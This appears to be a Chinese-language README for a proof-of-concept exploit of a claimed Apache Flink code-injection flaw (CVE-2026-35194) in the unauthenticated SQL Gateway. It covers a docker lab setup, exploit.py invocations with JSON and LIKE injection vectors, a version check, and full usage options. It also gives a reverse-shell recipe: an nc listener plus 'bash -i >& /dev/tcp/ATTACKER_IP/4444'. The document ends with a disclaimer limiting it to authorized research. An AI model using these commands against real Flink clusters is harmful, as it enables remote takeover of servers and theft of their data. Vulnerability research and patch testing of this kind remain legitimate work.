通过 SQL 代码生成注入,在 Apache Flink TaskManager 上实现远程代码执行。
| CVE | CVE-2026-35194 |
| CVSS | 8.1(高危) |
| CWE | CWE-94 — 代码注入 |
| 受影响版本 | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| 修复版本 | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| 攻击面 | SQL Gateway REST API(默认端口 8083,无认证) |
docker compose up -d
等待约 30 秒让集群启动。将启动两个服务:
http://localhost:8081http://localhost:8083验证:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
JSON 向量:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
LIKE 向量:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
仅版本检查(无 RCE):
python3 exploit.py localhost -p 8083 --check-only
在 TaskManager 上验证 RCE:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
仅用于授权安全研究和教育目的。